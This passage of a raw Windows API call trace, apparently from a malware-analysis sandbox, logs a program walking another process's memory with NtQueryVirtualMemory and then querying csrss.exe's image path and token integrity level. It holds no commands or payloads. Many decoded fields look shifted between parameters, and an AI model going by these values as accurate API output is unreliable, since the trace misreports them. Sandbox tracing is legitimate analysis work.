VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcff0000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.831] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd03a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd03a000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x16000), ResultLength=0x0) returned 0x0 [0057.831] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd050000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd050000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.832] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd052000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd052000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0057.832] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd05b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd05b000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x215000), ResultLength=0x0) returned 0x0 [0057.832] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd270000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd270000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.832] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd2c2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2c2000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0xa000), ResultLength=0x0) returned 0x0 [0057.832] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd2cc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2cc000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.832] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd2cd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2cd000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.832] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd2ce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2ce000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0057.832] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd2d7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2d7000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x199000), ResultLength=0x0) returned 0x0 [0057.832] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd470000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd470000, AllocationBase=0x7fe, AllocationProtect=0xfd470000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.833] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd49d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd49d000, AllocationBase=0x7fe, AllocationProtect=0xfd480000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0057.833] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd4a2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd4a2000, AllocationBase=0x7fe, AllocationProtect=0xfd480000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.833] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd4a3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd4a3000, AllocationBase=0x7fe, AllocationProtect=0xfd480000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.833] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd4a4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd4a4000, AllocationBase=0x7fe, AllocationProtect=0xfd480000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0xa000), ResultLength=0x0) returned 0x0 [0057.833] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd4ae000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd4ae000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x3e2000), ResultLength=0x0) returned 0x0 [0057.833] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd890000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd890000, AllocationBase=0x7fe, AllocationProtect=0xfd890000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd931000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd931000, AllocationBase=0x7fe, AllocationProtect=0xfd890000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x18000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd949000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd949000, AllocationBase=0x7fe, AllocationProtect=0xfd890000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd94a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd94a000, AllocationBase=0x7fe, AllocationProtect=0xfd890000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd94c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd94c000, AllocationBase=0x7fe, AllocationProtect=0xfd890000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x4d000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd999000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd999000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefd9a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd9a0000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefda83000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfda83000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2c000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdaaf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdaaf000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdab1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdab1000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1c000), ResultLength=0x0) returned 0x0 [0057.834] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdacd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdacd000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.835] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdad0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdad0000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.835] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdb4a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb4a000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x17000), ResultLength=0x0) returned 0x0 [0057.835] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdb61000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb61000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.835] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdb63000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb63000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.835] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdb64000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb64000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.835] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdb65000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb65000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.835] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdb67000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb67000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0057.835] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdb6f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb6f000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x81000), ResultLength=0x0) returned 0x0 [0057.835] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdbf0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdbf0000, AllocationBase=0x7fe, AllocationProtect=0xfdbf0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdc66000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdc66000, AllocationBase=0x7fe, AllocationProtect=0xfdbf0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x32000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdc98000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdc98000, AllocationBase=0x7fe, AllocationProtect=0xfdbf0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdc9b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdc9b000, AllocationBase=0x7fe, AllocationProtect=0xfdbf0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdc9d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdc9d000, AllocationBase=0x7fe, AllocationProtect=0xfdbf0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2e000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdccb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdccb000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdcd0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdcd0000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdd53000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd53000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdd54000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd54000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdd55000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd55000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.836] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdd56000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd56000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x43000), ResultLength=0x0) returned 0x0 [0057.837] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefdd99000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd99000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x4a7000), ResultLength=0x0) returned 0x0 [0057.837] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefe240000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfe240000, AllocationBase=0x7fe, AllocationProtect=0xfe240000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.837] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefe259000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfe259000, AllocationBase=0x7fe, AllocationProtect=0xfe240000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.837] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefe25c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfe25c000, AllocationBase=0x7fe, AllocationProtect=0xfe240000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.837] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefe25f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfe25f000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.837] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefe260000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfe260000, AllocationBase=0x7fe, AllocationProtect=0xfe260000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.837] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefe291000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfe291000, AllocationBase=0x7fe, AllocationProtect=0xfe260000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0xb000), ResultLength=0x0) returned 0x0 [0057.837] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefe29c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfe29c000, AllocationBase=0x7fe, AllocationProtect=0xfe260000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.838] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefe29d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfe29d000, AllocationBase=0x7fe, AllocationProtect=0xfe260000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0057.838] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefe2ad000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfe2ad000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xfa3000), ResultLength=0x0) returned 0x0 [0057.838] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7feff250000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff250000, AllocationBase=0x7fe, AllocationProtect=0xff250000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.838] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7feff258000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff258000, AllocationBase=0x7fe, AllocationProtect=0xff250000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.838] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7feff25a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff25a000, AllocationBase=0x7fe, AllocationProtect=0xff250000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.838] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7feff25b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff25b000, AllocationBase=0x7fe, AllocationProtect=0xff250000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.838] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7feff25e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff25e000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x12000), ResultLength=0x0) returned 0x0 [0057.838] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7feff270000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff270000, AllocationBase=0x7fe, AllocationProtect=0xff270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.839] QueryFullProcessImageNameW (in: hProcess=0x170, dwFlags=0x0, lpExeName=0xf836b8, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x17af784) returned 1 [0057.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf836b8) returned 1 [0057.839] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.839] IsWow64Process (in: hProcess=0x170, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.839] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.839] GetProcessTimes (in: hProcess=0x170, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.839] OpenProcessToken (in: ProcessHandle=0x170, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.839] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.839] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.839] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf99ce1 [0057.839] GetSidSubAuthority 